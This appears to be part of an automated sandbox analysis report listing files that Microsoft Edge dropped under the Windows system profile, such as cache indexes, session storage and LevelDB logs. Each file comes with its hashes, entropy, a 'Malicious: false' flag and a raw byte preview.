Preview:	0\r..m..........rSG.....0....Pfg......?.Yv...n:,.....z*8..$S.8..`,.....L`.....$S...`......L`......Qcf..w....exports...Qc........module....Qc.J......define....Qbn.. ....amd....D..H.............".. ...".. ...!...`..2....\".. ...!...-.....!...z..b.....=`...7u............).........".. ...!........./..4.....).......$Rb............I`....Da......... ..f..........`...p...0...j......@........P.......{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........D`....D`....D`.....E..%.`............$S.,.`......L`.....$S..`R....DL`.....DRb..............Qb...`....e.....Qb.o......t.....QbB.._....s.....Qb.......n...c................I`....Da.....d...$S.`.`z.....L`........

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:2IiXTXl/lQn/lxEooWGW+n:2IiXjlm3+
MD5:	40B83D42F543E0C0A29DF330B90C4755
SHA1:	B4A81FDCA6843534FC2EC2C4B47293EA2FE4AD1B
SHA-256:	34A53F9EB7B645FC2F0D8D7B64F3FF35FA95C0632D35C09225B1011DA8BE2A6A
SHA-512:	C0C7EFFF62E62D0F0B4C76763972706C41285F256086F082588BCCEA16D2DB07FC95E1DDF3A02267696FF86A4154CD8A743863C76B2AD8612E0F2F664CD0B04D
Malicious:	false
Preview:	@....M0{oy retne.........................X....,.................../.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5240
Entropy (8bit):	3.405055377922909
Encrypted:	false
SSDEEP:	96:n9rY07Plh5AmVnKtFVPVXOvD9Xp+e+EiMxLl9iSrW1mZQG6aX5FzN:O07th5NVnKtFVPVXOr9Xp+eTiALl9iSh
MD5:	AC1F5370850DBA7C0A3D7D0062C07C85
SHA1:	7B8326F16C17725110C11F449FEF8E9B520D5C43
SHA-256:	79940114D91C8C357D072D49677DE83D884C845341D753914DE9030E4921D1E7
SHA-512:	E36B52A836278C57A49445FDD071A4BA5012B16C561B25338F203B56960132AC37190ADBBBF4178743838E799DC04CF999BA0EEBC5D050C5C523D82C9587D7AD
Malicious:	false
Preview:	*...#................version.1..namespace-..&f................\bsb................next-map-id.1.Cnamespace-ca942ec9_86b5_4c64_b498_fc9fe11fe989-https://ntp.msn.com/.0..o-l................map-0-shd_sweeper.&{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.e.e.d.i.c.,.p.n.p.w.x.e.x.p.i.r.e.9.0.,.b.i.n.g._.v.2._.s.c.o.p.e.,.p.r.g.-.1.s.w.-.s.a.n.t.f.-.l.n.r.m.c.,.p.r.g.-.1.s.w.-.s.a.q.o.o.m.a.n.n.4.t.2.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.c.o.u.n.t.c.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.d.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.t.r.a.f.f.i.c.-.t.r.a.n.-.n.y.-.c.,.p.r.g.-.p.2.-.l.d.n.y.c.t.-.t.r.a.n.s.i.t.,.p.r.g.-.p.2.-.t.r.a.n.-.t.r.d.,.1.s.-.p.2.-.u.s.e.c.m.,.b.t.i.e.-.a.d.-.a.r.-.l.o.g.o.2.,.p.r.g.-.a.d.-.l.o.g.o.-.a.r.,.1.s.-.f.c.r.y.p.t.,.p.r.g.-.1.s.w.-.s.a.-.m.g.1.2.,.p.r.g.-.c.t.r.-.p.n.p.c.,.1.s.-.n.t.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.183739018478101
Encrypted:	false
SSDEEP:	6:iOOQkWssJYDhP5c23oH+TcwtrQM72KLlYQmoL+q2TYDhP5c23oH+TcwtrQMxIFUv:7/kBLPhYeb/LzmvsPhYebCFUv
MD5:	5D0161ADC4AC050A6867420E8C05F7D2
SHA1:	A687FEA2C2526377C56F03A90F260CBFD9894BE8
SHA-256:	AD3D67AF1C15F3EE4220075281A19150C7D31D494B69DBB5E34E3CA07D5CBB30
SHA-512:	DD0424D42482167E23EF889CF2615B7316795C242058DC22FE3EDE7086E772876CAE158D66B297CFC3A639F47626EA16A5FDAA35546B723882F5D44D79F80414
Malicious:	false
Preview:	2025/01/08-10:18:45.534 1678 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage since it was missing..2025/01/08-10:18:45.754 1678 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13380823126690596

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1489
Entropy (8bit):	3.5308190378914053
Encrypted:	false
SSDEEP:	24:3i6SnsPvljljlnpsAFw0Lp3k2amEtLqlhSvDdKASQUSkOAdQldlZ:3i6SoZZnzF/LpVFERuKDvqOTnZ
MD5:	DDF5D90B5C9582971BA92C93E941E5E2
SHA1:	BE925171E4ABAA2110D51E4A3F01F96B75C0EFB5
SHA-256:	85525573315A618A354FA79FD3958DD3234743A75D6313D58280FFBA578C69FE
SHA-512:	F8E490ECE264B58AE0ECDDB5FFA1FA007AC1BE3031B4DB632FDBCED7BC2A42C1B280B1B4036AA6C533425D2B21636D565AF73E84FD8D17097D800EE3A2491E38
Malicious:	false
Preview:	SNSS................................"........9.#4.......$...ab0461b1-c951-4432-8e4e-7c2299f1425c........................................................!.............................................1..,.......$...ca942ec9_86b5_4c64_b498_fc9fe11fe989......................(6............................................................................................................................edge://newtab/......N.e.w. .t.a.b...........................................................x...............p...............x...............p........X.`3+...X.`3+......................................................................x...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.U.S.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.&.O.C.I.D.=.M.N.H.P._.U.5.3.1.&.f.i.r.s.t.l.a.u.n.c.h.=.1.................................8.......0.......8....................................................................... ......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.4418480883730883
Encrypted:	false
SSDEEP:	12:TLiN/cUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLiBVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	444C697E8AF5C7ABF6A576C698CCDAE6
SHA1:	7E6455ED6A534CCBDE446B25CB8A387E40A74BBA
SHA-256:	7401AE966CB49B237B8F07B23585BC3D1961C0F5762A43E2796776F870E09297
SHA-512:	B2E03753CE8D60980984769A7778F8F93B9E2B84B9A7FFD0F04759159F69C98FC1AED0EAECF9CF044B9BE2D3490C61CECE7E618F91B1398BCCA809AE7D9BF32C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.147224029306493
Encrypted:	false
SSDEEP:	6:iOOtsDJYDhP5c23oH+Tcwt7Uh2gr52KLlYtqF0q2TYDhP5c23oH+Tcwt7Uh2ghZh:70bPhYebIhHJLYq2vsPhYebIhHh2FUv
MD5:	9E5A0EAE4C15A6736E16ECAA8B54DC72
SHA1:	AEF3A791E425927DE4EFCF38974D8B0A4AC863EC
SHA-256:	A48DEFFF74DBEE975EFA76354D2C277CAF6C2EB2D9BFBC9C2F2E0864208B0F38
SHA-512:	E03C736E6650E33956B13F1B1B1BE368DB05C40AD9259E120A163C4144FD8C16026DEAF808F98020E38997927118FD93EADB050D85D320D169C65FAC2F05144A
Malicious:	false
Preview:	2025/01/08-10:18:44.133 17b0 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database since it was missing..2025/01/08-10:18:44.249 17b0 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:gkhFjERgX:gkTwRgX
MD5:	478A71523EC0B1DF56FCEA36D3BF1BA3
SHA1:	A2A7DE593E199B90C2299914DFE9ECFABC0CCEEB
SHA-256:	21341FBCB24BE6FE0B1F4E05C5CB089BDB8F4D9BE021FF2D46CEFC12AECA7DAE
SHA-512:	D1F02C4028BC277C01AB9D3D3FBFFF45815C93B310BA69A28E74886B60E46AB11847B7B2B21432225EA640F59D5D6B6142EAF23FEBA318A0F6D03D1E899C5255
Malicious:	false
Preview:	(...}:).oy retne........................ME:../.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:A1H9EWtfPn:A5qqX
MD5:	5B7D72F76C3B4F75649141F73EB562B9
SHA1:	582F12BCBC55C3FEEEDDD0D4EF8CE5277EBC2B6F
SHA-256:	F5BEEB73219CC550BB4B5B6200A4A91E258E6FE650F12FBF54EFDD9B716F8AD7
SHA-512:	DC685FE2C7F66C6BE184107DABF7E236061E29F0039216905C2B53860D1E845D101C69F4DC6657C5298EE01DD8FDACAA6FB9B239C8F15694CA796CC743E4B054
Malicious:	false
Preview:	(....'0.oy retne........................J.:../.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.629307656487099E-4
Encrypted:	false
SSDEEP:	3:LsFl0l6r/:LsFKq
MD5:	709E7BC1E8DCEF87302BAE1E30B3CBE9
SHA1:	480F4E1BC881A5848FDFE47184283A8DA20775E4
SHA-256:	AE59C526459235211026A6DFCE5A7132DB022AC529693166149A4BEF773DB4A7
SHA-512:	FC7B4A646075A24EA669594456F29DD7562647CAEE662329F7113A833A06529E1092E1969BD2B41FA5429C3C0165B003E6A210D7D889CC4AFF1E6948466B073D
Malicious:	false
Preview:	..........................................8../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	441
Entropy (8bit):	5.227955464911296
Encrypted:	false
SSDEEP:	6:iOOQmEqJYDhP5c23oH+TcwtzjqEKj3K/2jM8B2KLlYQowQL+q2TYDhP5c23oH+TM:7/hPhYebvqBvFLzoIvsPhYebvqBQFUv
MD5:	FC6125BB6D7BE7A98067E07CD1DE9819
SHA1:	E5BCC4C97F9FB3ADB6B29D9183F28AB1160DD4AF
SHA-256:	DFDA0E0ADD7B3E1B67D0E652C5A007FE16FE67660C6A8F10122626DB9D9A1CFC
SHA-512:	493BCED13D0FCB0CD92D53273E98E78DB9BF0B4F7488A3658624259BB4D165268F56076E53EBDB78CC87C993B1C05ED6FE9778361A7BC97A49818A7ABAF96007
Malicious:	false
Preview:	2025/01/08-10:18:45.754 6c8 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb since it was missing..2025/01/08-10:18:45.916 6c8 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.7273991737283296
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFl:S85aEFl
MD5:	9F7EADC15E13D0608B4E4D590499AE2E
SHA1:	AFB27F5C20B117031328E12DD3111A7681FF8DB5
SHA-256:	5C3A5B578AB9FE853EAD7040BC161929EA4F6902073BA2B8BB84487622B98923
SHA-512:	88455784C705F565C70FA0A549C54E2492976E14643E9DD0A8E58C560D003914313DF483F096BD33EC718AEEC7667B8DE063A73627AA3436BA6E7E562E565B3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f...............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.182707366882681
Encrypted:	false
SSDEEP:	6:iOuqJYDhP5c23oH+TcwtzjqEKj0QM72KLlIQL+q2TYDhP5c23oH+TcwtzjqEKj0f:7OPhYebvqB6L+vsPhYebvqBZFUv
MD5:	61992A3F2B004CD22FC8151A0BB2947B
SHA1:	1273D2C43AE30390E08AF379F5AD60E062CA7514
SHA-256:	88EA6889ECBB2F57EC7E604E11287C32616BC7CAC739CF1D6A4C798A209E4803
SHA-512:	7AE2EAB433D89DD770A85A9E8E61086052BBFD38B43ADEE7E095CDA3C2D55BCFF693298DE8A00C78CC80985D0D1B596338B23BC8DF56E9AD35A93C6918DF7D28
Malicious:	false
